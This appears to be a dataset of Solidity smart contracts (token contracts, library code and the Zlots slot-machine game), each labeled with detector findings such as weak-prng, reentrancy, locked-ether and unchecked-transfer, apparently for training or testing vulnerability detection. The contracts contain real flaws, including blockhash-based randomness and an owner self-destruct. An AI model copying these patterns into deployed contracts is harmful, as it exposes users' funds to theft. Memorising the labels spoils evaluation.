_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(
IERC20 token,
address spender,
uint256 value
) internal {
unchecked {
uint256 oldAllowance = token.allowance(address(this), spender);
require(oldAllowance >= value, "SafeERC20: decreased allowance below zero");
uint256 newAllowance = oldAllowance - value;
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
}
/**
* @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement
* on the return value: the return value is optional (but if data is returned, it must not be false).
* @param token The token targeted by the call.
* @param data The call data (encoded using abi.encode or one of its variants).
*/
function _callOptionalReturn(IERC20 token, bytes memory data) private {
// We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since
// we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that
// the target address contains contract code and also asserts for success in the low-level call.
bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
// Return data is optional
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
assembly {
size := extcodesize(account)
}
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{value: amount}("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain `call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value
) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value,
string memory errorMessage
) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{value: value}(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(
address target,
bytes memory data,
string memory errorMessage
) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
(bool success, bytes memory returndata) = target.staticcall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
(bool success, bytes memory returndata) = target.delegatecall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the
* revert reason using the provided one.
*
* _Available since v4.3._
*/
function verifyCallResult(
bool success,
bytes memory returndata,
string memory errorMessage
) internal pure returns (bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
| These are the vulnerabilities found
1) weak-prng with High impact
2) incorrect-equality with Medium impact |
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* Integers Library updated from https://github.com/willitscale/solidity-util
*
* In summary this is a simple library of integer functions which allow a simple
* conversion to and from strings
*
* @author Clement Walter <[email protected]>
*/
library Integers {
/**
* To String
*
* Converts an unsigned integer to the string equivalent value, returned as bytes
* Equivalent to javascript's toString(base)
*
* @param _number The unsigned integer to be converted to a string
* @param _base The base to convert the number to
* @param _padding The target length of the string; result will be padded with 0 to reach this length while padding
* of 0 means no padding
* @return bytes The resulting ASCII string value
*/
function toString(
uint256 _number,
uint8 _base,
uint8 _padding
) public pure returns (string memory) {
uint256 count = 0;
uint256 b = _number;
while (b != 0) {
count++;
b /= _base;
}
if (_number == 0) {
count++;
}
bytes memory res;
if (_padding == 0) {
res = new bytes(count);
} else {
res = new bytes(_padding);
}
for (uint256 i = 0; i < count; ++i) {
b = _number % _base;
if (b < 10) {
res[res.length - i - 1] = bytes1(uint8(b + 48)); // 0-9
} else {
res[res.length - i - 1] = bytes1(uint8((b % 10) + 65)); // A-F
}
_number /= _base;
}
for (uint256 i = count; i < _padding; ++i) {
res[res.length - i - 1] = hex"30"; // 0
}
return string(res);
}
function toString(uint256 _number) public pure returns (string memory) {
return toString(_number, 10, 0);
}
function toString(uint256 _number, uint8 _base)
public
pure
returns (string memory)
{
return toString(_number, _base, 0);
}
/**
* Load 16
*
* Converts two bytes to a 16 bit unsigned integer
*
* @param _leadingBytes the first byte of the unsigned integer in [256, 65536]
* @param _endingBytes the second byte of the unsigned integer in [0, 255]
* @return uint16 The resulting integer value
*/
function load16(bytes1 _leadingBytes, bytes1 _endingBytes)
public
pure
returns (uint16)
{
return
(uint16(uint8(_leadingBytes)) << 8) + uint16(uint8(_endingBytes));
}
/**
* Load 12
*
* Converts three bytes into two uint12 integers
*
* @return (uint16, uint16) The two uint16 values up to 2^12 each
*/
function load12x2(
bytes1 first,
bytes1 second,
bytes1 third
) public pure returns (uint16, uint16) {
return (
(uint16(uint8(first)) << 4) + (uint16(uint8(second)) >> 4),
(uint16(uint8(second & hex"0f")) << 8) + uint16(uint8(third))
);
}
} | No vulnerabilities found |
pragma solidity ^0.4.18;
// ----------------------------------------------------------------------------
// 'ExoPlanetInu' token contract
//
// Deployed to : 0x4fD70C60a971caB48872c6345C053326e184C467
// Symbol : EPINU
// Name : ExoPlanetInu
// Total supply: 1000000000000000
// Decimals : 18
//
// Enjoy.
//
// (c) www.exoplanetinu.com in progress
// ----------------------------------------------------------------------------
// ----------------------------------------------------------------------------
// Safe maths
// ----------------------------------------------------------------------------
contract SafeMath {
function safeAdd(uint a, uint b) public pure returns (uint c) {
c = a + b;
require(c >= a);
}
function safeSub(uint a, uint b) public pure returns (uint c) {
require(b <= a);
c = a - b;
}
function safeMul(uint a, uint b) public pure returns (uint c) {
c = a * b;
require(a == 0 || c / a == b);
}
function safeDiv(uint a, uint b) public pure returns (uint c) {
require(b > 0);
c = a / b;
}
}
// ----------------------------------------------------------------------------
// ERC Token Standard #20 Interface
// https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md
// ----------------------------------------------------------------------------
contract ERC20Interface {
function totalSupply() public constant returns (uint);
function balanceOf(address tokenOwner) public constant returns (uint balance);
function allowance(address tokenOwner, address spender) public constant returns (uint remaining);
function transfer(address to, uint tokens) public returns (bool success);
function approve(address spender, uint tokens) public returns (bool success);
function transferFrom(address from, address to, uint tokens) public returns (bool success);
event Transfer(address indexed from, address indexed to, uint tokens);
event Approval(address indexed tokenOwner, address indexed spender, uint tokens);
}
// ----------------------------------------------------------------------------
// Contract function to receive approval and execute function in one call
//
// Borrowed from MiniMeToken
// ----------------------------------------------------------------------------
contract ApproveAndCallFallBack {
function receiveApproval(address from, uint256 tokens, address token, bytes data) public;
}
// ----------------------------------------------------------------------------
// Owned contract
// ----------------------------------------------------------------------------
contract Owned {
address public owner;
address public newOwner;
event OwnershipTransferred(address indexed _from, address indexed _to);
function Owned() public {
owner = msg.sender;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
function transferOwnership(address _newOwner) public onlyOwner {
newOwner = _newOwner;
}
function acceptOwnership() public {
require(msg.sender == newOwner);
OwnershipTransferred(owner, newOwner);
owner = newOwner;
newOwner = address(0);
}
}
// ----------------------------------------------------------------------------
// ERC20 Token, with the addition of symbol, name and decimals and assisted
// token transfers
// ----------------------------------------------------------------------------
contract exoplanetinu is ERC20Interface, Owned, SafeMath {
string public symbol;
string public name;
uint8 public decimals;
uint public _totalSupply;
mapping(address => uint) balances;
mapping(address => mapping(address => uint)) allowed;
// ------------------------------------------------------------------------
// Constructor
// ------------------------------------------------------------------------
function exoplanetinu() public {
symbol = "EPINU";
name = "exoplanetinu";
decimals = 18;
_totalSupply = 1000000000000000000000000000000000;
balances[0x4fD70C60a971caB48872c6345C053326e184C467] = _totalSupply;
Transfer(address(0), 0x4fD70C60a971caB48872c6345C053326e184C467, _totalSupply);
}
// ------------------------------------------------------------------------
// Total supply
// ------------------------------------------------------------------------
function totalSupply() public constant returns (uint) {
return _totalSupply - balances[address(0)];
}
// ------------------------------------------------------------------------
// Get the token balance for account tokenOwner
// ------------------------------------------------------------------------
function balanceOf(address tokenOwner) public constant returns (uint balance) {
return balances[tokenOwner];
}
// ------------------------------------------------------------------------
// Transfer the balance from token owner's account to to account
// - Owner's account must have sufficient balance to transfer
// - 0 value transfers are allowed
// ------------------------------------------------------------------------
function transfer(address to, uint tokens) public returns (bool success) {
balances[msg.sender] = safeSub(balances[msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
Transfer(msg.sender, to, tokens);
return true;
}
// ------------------------------------------------------------------------
// Token owner can approve for spender to transferFrom(...) tokens
// from the token owner's account
//
// https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md
// recommends that there are no checks for the approval double-spend attack
// as this should be implemented in user interfaces
// ------------------------------------------------------------------------
function approve(address spender, uint tokens) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
Approval(msg.sender, spender, tokens);
return true;
}
// ------------------------------------------------------------------------
// Transfer tokens from the from account to the to account
//
// The calling account must already have sufficient tokens approve(...)-d
// for spending from the from account and
// - From account must have sufficient balance to transfer
// - Spender must have sufficient allowance to transfer
// - 0 value transfers are allowed
// ------------------------------------------------------------------------
function transferFrom(address from, address to, uint tokens) public returns (bool success) {
balances[from] = safeSub(balances[from], tokens);
allowed[from][msg.sender] = safeSub(allowed[from][msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
Transfer(from, to, tokens);
return true;
}
// ------------------------------------------------------------------------
// Returns the amount of tokens approved by the owner that can be
// transferred to the spender's account
// ------------------------------------------------------------------------
function allowance(address tokenOwner, address spender) public constant returns (uint remaining) {
return allowed[tokenOwner][spender];
}
// ------------------------------------------------------------------------
// Token owner can approve for spender to transferFrom(...) tokens
// from the token owner's account. The spender contract function
// receiveApproval(...) is then executed
// ------------------------------------------------------------------------
function approveAndCall(address spender, uint tokens, bytes data) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
Approval(msg.sender, spender, tokens);
ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, this, data);
return true;
}
// ------------------------------------------------------------------------
// Don't accept ETH
// ------------------------------------------------------------------------
function () public payable {
revert();
}
// ------------------------------------------------------------------------
// Owner can transfer out any accidentally sent ERC20 tokens
// ------------------------------------------------------------------------
function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success) {
return ERC20Interface(tokenAddress).transfer(owner, tokens);
}
} | These are the vulnerabilities found
1) locked-ether with Medium impact |
//SPDX-License-Identifier: Unlicense
// ----------------------------------------------------------------------------
// 'EthereumFloki' token contract
//
// Symbol : EFLOKI 🐾
// Name : Ethereum Floki
// Total supply: 100,000,000,000,000
// Decimals : 18
// Burned : 50%
// ----------------------------------------------------------------------------
pragma solidity ^0.7.0;
contract Owned {
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
address owner;
address newOwner;
function changeOwner(address payable _newOwner) public onlyOwner {
newOwner = _newOwner;
}
function acceptOwnership() public {
if (msg.sender == newOwner) {
owner = newOwner;
}
}
}
contract ERC20 {
string public symbol;
string public name;
uint8 public decimals;
uint256 public totalSupply;
mapping (address=>uint256) balances;
mapping (address=>mapping (address=>uint256)) allowed;
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
function balanceOf(address _owner) view public returns (uint256 balance) {return balances[_owner];}
function transfer(address _to, uint256 _amount) public returns (bool success) {
require (balances[msg.sender]>=_amount&&_amount>0&&balances[_to]+_amount>balances[_to]);
balances[msg.sender]-=_amount;
balances[_to]+=_amount;
emit Transfer(msg.sender,_to,_amount);
return true;
}
function transferFrom(address _from,address _to,uint256 _amount) public returns (bool success) {
require (balances[_from]>=_amount&&allowed[_from][msg.sender]>=_amount&&_amount>0&&balances[_to]+_amount>balances[_to]);
balances[_from]-=_amount;
allowed[_from][msg.sender]-=_amount;
balances[_to]+=_amount;
emit Transfer(_from, _to, _amount);
return true;
}
function approve(address _spender, uint256 _amount) public returns (bool success) {
allowed[msg.sender][_spender]=_amount;
emit Approval(msg.sender, _spender, _amount);
return true;
}
function allowance(address _owner, address _spender) view public returns (uint256 remaining) {
return allowed[_owner][_spender];
}
}
contract EthereumFloki is Owned,ERC20{
uint256 public maxSupply;
constructor(address _owner) {
symbol = unicode"EFLOKI 🐾";
name = "Ethereum Floki";
decimals = 18;
totalSupply = 100000000000000*10**uint256(decimals);
maxSupply = 100000000000000*10**uint256(decimals);
owner = _owner;
balances[owner] = totalSupply;
}
receive() external payable {
revert();
}
} | These are the vulnerabilities found
1) locked-ether with Medium impact |
pragma solidity ^0.4.24;
/*
* Zlots.
*
* Written August 2018 by the Zethr team for zethr.io.
*
* Initial code framework written by Norsefire.
*
* Rolling Odds:
* 52.33% Lose
* 35.64% Two Matching Icons
* - 5.09% : 2x Multiplier [Two White Pyramids]
* - 5.09% : 2.5x Multiplier [Two Gold Pyramids]
* - 5.09% : 2.32x Multiplier [Two 'T' Symbols]
* - 5.09% : 2.32x Multiplier [Two 'H' Symbols]
* - 5.09% : 2.32x Multiplier [Two 'T' Symbols]
* - 5.09% : 3.5x Multiplier [Two Green Pyramids]
* - 5.09% : 3.75x Multiplier [Two Ether Icons]
* 6.79% One Of Each Pyramid
* - 1.5x Multiplier
* 2.94% One Moon Icon
* - 12.5x Multiplier
* 1.98% Three Matching Icons
* - 0.28% : 20x Multiplier [Three White Pyramids]
* - 0.28% : 20x Multiplier [Three Gold Pyramids]
* - 0.28% : 25x Multiplier [Three 'Z' Symbols]
* - 0.28% : 25x Multiplier [Three 'T' Symbols]
* - 0.28% : 25x Multiplier [Three 'H' Symbols]
* - 0.28% : 40x Multiplier [Three Green Pyramids]
* - 0.28% : 50x Multiplier [Three Ether Icons]
* 0.28% Z T H Prize
* - 23.2x Multiplier
* 0.03% Two Moon Icons
* - 232x Multiplier
* 0.0001% Three Moon Grand Jackpot
* - 500x Multiplier
*
*/
contract ZTHReceivingContract {
function tokenFallback(address _from, uint _value, bytes _data) public returns (bool);
}
contract ZTHInterface {
function transfer(address _to, uint _value) public returns (bool);
function approve(address spender, uint tokens) public returns (bool);
}
contract Zlots is ZTHReceivingContract {
using SafeMath for uint;
address private owner;
address private bankroll;
// How many bets have been made?
uint totalSpins;
uint totalZTHWagered;
// How many ZTH are in the contract?
uint contractBalance;
// Is betting allowed? (Administrative function, in the event of unforeseen bugs)
bool public gameActive;
address private ZTHTKNADDR;
address private ZTHBANKROLL;
ZTHInterface private ZTHTKN;
mapping (uint => bool) validTokenBet;
// Might as well notify everyone when the house takes its cut out.
event HouseRetrievedTake(
uint timeTaken,
uint tokensWithdrawn
);
// Fire an event whenever someone places a bet.
event TokensWagered(
address _wagerer,
uint _wagered
);
event LogResult(
address _wagerer,
uint _result,
uint _profit,
uint _wagered,
uint _category,
bool _win
);
// Result announcement events (to dictate UI output!)
event Loss(address _wagerer, uint _block); // Category 0
event ThreeMoonJackpot(address _wagerer, uint _block); // Category 1
event TwoMoonPrize(address _wagerer, uint _block); // Category 2
event ZTHJackpot(address _wagerer, uint _block); // Category 3
event ThreeZSymbols(address _wagerer, uint _block); // Category 4
event ThreeTSymbols(address _wagerer, uint _block); // Category 5
event ThreeHSymbols(address _wagerer, uint _block); // Category 6
event ThreeEtherIcons(address _wagerer, uint _block); // Category 7
event ThreeGreenPyramids(address _wagerer, uint _block); // Category 8
event ThreeGoldPyramids(address _wagerer, uint _block); // Category 9
event ThreeWhitePyramids(address _wagerer, uint _block); // Category 10
event OneMoonPrize(address _wagerer, uint _block); // Category 11
event OneOfEachPyramidPrize(address _wagerer, uint _block); // Category 12
event TwoZSymbols(address _wagerer, uint _block); // Category 13
event TwoTSymbols(address _wagerer, uint _block); // Category 14
event TwoHSymbols(address _wagerer, uint _block); // Category 15
event TwoEtherIcons(address _wagerer, uint _block); // Category 16
event TwoGreenPyramids(address _wagerer, uint _block); // Category 17
event TwoGoldPyramids(address _wagerer, uint _block); // Category 18
event TwoWhitePyramids(address _wagerer, uint _block); // Category 19
event ReturnBet(
address _wagerer
);
event TwoAndAHalfXMultiplier(
address _wagerer
);
event OneAndAHalfXMultiplier(
address _wagerer
);
modifier onlyOwner {
require(msg.sender == owner);
_;
}
modifier onlyBankroll {
require(msg.sender == bankroll);
_;
}
modifier onlyOwnerOrBankroll {
require(msg.sender == owner || msg.sender == bankroll);
_;
}
// Requires game to be currently active
modifier gameIsActive {
require(gameActive == true);
_;
}
constructor(address ZethrAddress, address BankrollAddress) public {
// Set Zethr & Bankroll address from constructor params
ZTHTKNADDR = ZethrAddress;
ZTHBANKROLL = BankrollAddress;
// Set starting variables
owner = msg.sender;
bankroll = ZTHBANKROLL;
// Approve "infinite" token transfer to the bankroll, as part of Zethr game requirements.
ZTHTKN = ZTHInterface(ZTHTKNADDR);
ZTHTKN.approve(ZTHBANKROLL, 2**256 - 1);
// For testing purposes. This is to be deleted on go-live. (see testingSelfDestruct)
ZTHTKN.approve(owner, 2**256 - 1);
// To start with, we only allow spins of 5, 10, 25 or 50 ZTH.
validTokenBet[5e18] = true;
validTokenBet[10e18] = true;
validTokenBet[25e18] = true;
validTokenBet[50e18] = true;
gameActive = true;
}
// Zethr dividends gained are accumulated and sent to bankroll manually
function() public payable { }
// If the contract receives tokens, bundle them up in a struct and fire them over to _spinTokens for validation.
struct TKN { address sender; uint value; }
function tokenFallback(address _from, uint _value, bytes /* _data */) public returns (bool){
if (_from == bankroll) {
// Update the contract balance
contractBalance = contractBalance.add(_value);
return true;
} else {
TKN memory _tkn;
_tkn.sender = _from;
_tkn.value = _value;
_spinTokens(_tkn);
return true;
}
}
struct playerSpin {
uint200 tokenValue; // Token value in uint
uint48 blockn; // Block number 48 bits
}
// Mapping because a player can do one spin at a time
mapping(address => playerSpin) public playerSpins;
// Execute spin.
function _spinTokens(TKN _tkn) private {
require(gameActive);
require(_zthToken(msg.sender));
require(validTokenBet[_tkn.value]);
require(jackpotGuard(_tkn.value));
require(_tkn.value < ((2 ** 200) - 1)); // Smaller than the storage of 1 uint200;
require(block.number < ((2 ** 48) - 1)); // Current block number smaller than storage of 1 uint48
address _customerAddress = _tkn.sender;
uint _wagered = _tkn.value;
playerSpin memory spin = playerSpins[_tkn.sender];
contractBalance = contractBalance.add(_wagered);
// Cannot spin twice in one block
require(block.number != spin.blockn);
// If there exists a spin, finish it
if (spin.blockn != 0) {
_finishSpin(_tkn.sender);
}
// Set struct block number and token value
spin.blockn = uint48(block.number);
spin.tokenValue = uint200(_wagered);
// Store the roll struct - 20k gas.
playerSpins[_tkn.sender] = spin;
// Increment total number of spins
totalSpins += 1;
// Total wagered
totalZTHWagered += _wagered;
emit TokensWagered(_customerAddress, _wagered);
}
// Finish the current spin of a player, if they have one
function finishSpin() public
gameIsActive
returns (uint)
{
return _finishSpin(msg.sender);
}
/*
* Pay winners, update contract balance, send rewards where applicable.
*/
function _finishSpin(address target)
private returns (uint)
{
playerSpin memory spin = playerSpins[target];
require(spin.tokenValue > 0); // No re-entrancy
require(spin.blockn != block.number);
uint profit = 0;
uint category = 0;
// If the block is more than 255 blocks old, we can't get the result
// Also, if the result has already happened, fail as well
uint result;
if (block.number - spin.blockn > 255) {
result = 9999; // Can't win: default to largest number
} else {
// Generate a result - random based ONLY on a past block (future when submitted).
// Case statement barrier numbers defined by the current payment schema at the top of the contract.
result = random(1000000, spin.blockn, target);
}
if (result > 476661) {
// Player has lost.
emit Loss(target, spin.blockn);
emit LogResult(target, result, profit, spin.tokenValue, category, false);
} else {
if (result < 1) {
// Player has won the three-moon mega jackpot!
profit = SafeMath.mul(spin.tokenValue, 500);
category = 1;
emit ThreeMoonJackpot(target, spin.blockn);
} else {
if (result < 298) {
// Player has won a two-moon prize!
profit = SafeMath.mul(spin.tokenValue, 232);
category = 2;
emit TwoMoonPrize(target, spin.blockn);
} else {
if (result < 3127) {
// Player has won the Z T H jackpot!
profit = SafeMath.div(SafeMath.mul(spin.tokenValue, 232), 10);
category = 3;
emit ZTHJackpot(target, spin.blockn);
} else {
if (result < 5956) {
// Player has won a three Z symbol prize
profit = SafeMath.mul(spin.tokenValue, 25);
category = 4;
emit ThreeZSymbols(target, spin.blockn);
} else {
if (result < 8785) {
// Player has won a three T symbol prize
profit = SafeMath.mul(spin.tokenValue, 25);
category = 5;
emit ThreeTSymbols(target, spin.blockn);
} else {
if (result < 11614) {
// Player has won a three H symbol prize
profit = SafeMath.mul(spin.tokenValue, 25);
category = 6;
emit ThreeHSymbols(target, spin.blockn);
} else {
if (result < 14443) {
// Player has won a three Ether icon prize
profit = SafeMath.mul(spin.tokenValue, 50);
category = 7;
emit ThreeEtherIcons(target, spin.blockn);
} else {
if (result < 17272) {
// Player has won a three green pyramid prize
profit = SafeMath.mul(spin.tokenValue, 40);
category = 8;
emit ThreeGreenPyramids(target, spin.blockn);
} else {
if (result < 20101) {
// Player has won a three gold pyramid prize
profit = SafeMath.mul(spin.tokenValue, 20);
category = 9;
emit ThreeGoldPyramids(target, spin.blockn);
} else {
if (result < 22929) {
// Player has won a three white pyramid prize
profit = SafeMath.mul(spin.tokenValue, 20);
category = 10;
emit ThreeWhitePyramids(target, spin.blockn);
} else {
if (result < 52332) {
// Player has won a one moon prize!
profit = SafeMath.div(SafeMath.mul(spin.tokenValue, 125),10);
category = 11;
emit OneMoonPrize(target, spin.blockn);
} else {
if (result < 120225) {
// Player has won a each-coloured-pyramid prize!
profit = SafeMath.div(SafeMath.mul(spin.tokenValue, 15),10);
category = 12;
emit OneOfEachPyramidPrize(target, spin.blockn);
} else {
if (result < 171146) {
// Player has won a two Z symbol prize!
profit = SafeMath.div(SafeMath.mul(spin.tokenValue, 232),100);
category = 13;
emit TwoZSymbols(target, spin.blockn);
} else {
if (result < 222067) {
// Player has won a two T symbol prize!
profit = SafeMath.div(SafeMath.mul(spin.tokenValue, 232),100);
category = 14;
emit TwoTSymbols(target, spin.blockn);
} else {
if (result < 272988) {
// Player has won a two H symbol prize!
profit = SafeMath.div(SafeMath.mul(spin.tokenValue, 232),100);
category = 15;
emit TwoHSymbols(target, spin.blockn);
} else {
if (result < 323909) {
// Player has won a two Ether icon prize!
profit = SafeMath.div(SafeMath.mul(spin.tokenValue, 375),100);
category = 16;
emit TwoEtherIcons(target, spin.blockn);
} else {
if (result < 374830) {
// Player has won a two green pyramid prize!
profit = SafeMath.div(SafeMath.mul(spin.tokenValue, 35),10);
category = 17;
emit TwoGreenPyramids(target, spin.blockn);
} else {
if (result < 425751) {
// Player has won a two gold pyramid prize!
profit = SafeMath.div(SafeMath.mul(spin.tokenValue, 225),100);
category = 18;
emit TwoGoldPyramids(target, spin.blockn);
} else {
// Player has won a two white pyramid prize!
profit = SafeMath.mul(spin.tokenValue, 2);
category = 19;
emit TwoWhitePyramids(target, spin.blockn);
}
emit LogResult(target, result, profit, spin.tokenValue, category, true);
contractBalance = contractBalance.sub(profit);
ZTHTKN.transfer(target, profit);
// God damnit I hate Solidity bracketing
}}}}}}}}}}}}}}}}}}
playerSpins[target] = playerSpin(uint200(0), uint48(0));
return result;
}
// This sounds like a draconian function, but it actually just ensures that the contract has enough to pay out
// a jackpot at the rate you've selected (i.e. 5,000 ZTH for three-moon jackpot on a 10 ZTH roll).
// We do this by making sure that 25* your wager is no less than 90% of the amount currently held by the contract.
// If not, you're going to have to use lower betting amounts, we're afraid!
function jackpotGuard(uint _wager)
private
view
returns (bool)
{
uint maxProfit = SafeMath.mul(_wager, 500);
uint ninetyContractBalance = SafeMath.mul(SafeMath.div(contractBalance, 10), 9);
return (maxProfit <= ninetyContractBalance);
}
// Returns a random number using a specified block number
// Always use a FUTURE block number.
function maxRandom(uint blockn, address entropy) private view returns (uint256 randomNumber) {
return uint256(keccak256(
abi.encodePacked(
blockhash(blockn),
entropy)
));
}
// Random helper
function random(uint256 upper, uint256 blockn, address entropy) internal view returns (uint256 randomNumber) {
return maxRandom(blockn, entropy) % upper;
}
// How many tokens are in the contract overall?
function balanceOf() public view returns (uint) {
return contractBalance;
}
function addNewBetAmount(uint _tokenAmount)
public
onlyOwner
{
validTokenBet[_tokenAmount] = true;
}
// If, for any reason, betting needs to be paused (very unlikely), this will freeze all bets.
function pauseGame() public onlyOwner {
gameActive = false;
}
// The converse of the above, resuming betting if a freeze had been put in place.
function resumeGame() public onlyOwner {
gameActive = true;
}
// Administrative function to change the owner of the contract.
function changeOwner(address _newOwner) public onlyOwner {
owner = _newOwner;
}
// Administrative function to change the Zethr bankroll contract, should the need arise.
function changeBankroll(address _newBankroll) public onlyOwner {
bankroll = _newBankroll;
}
// Any dividends acquired by this contract is automatically triggered.
function divertDividendsToBankroll()
public
onlyOwner
{
bankroll.transfer(address(this).balance);
}
function testingSelfDestruct()
public
onlyOwner
{
// Give me back my testing tokens :)
ZTHTKN.transfer(owner, contractBalance);
selfdestruct(owner);
}
// Is the address that the token has come from actually ZTH?
function _zthToken(address _tokenContract) private view returns (bool) {
return _tokenContract == ZTHTKNADDR;
}
}
// And here's the boring bit.
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint a, uint b) internal pure returns (uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
assert(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint a, uint b) internal pure returns (uint) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint a, uint b) internal pure returns (uint) {
assert(b <= a);
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint a, uint b) internal pure returns (uint) {
uint c = a + b;
assert(c >= a);
return c;
}
} | These are the vulnerabilities found
1) divide-before-multiply with Medium impact
2) reentrancy-no-eth with Medium impact
3) unchecked-transfer with High impact
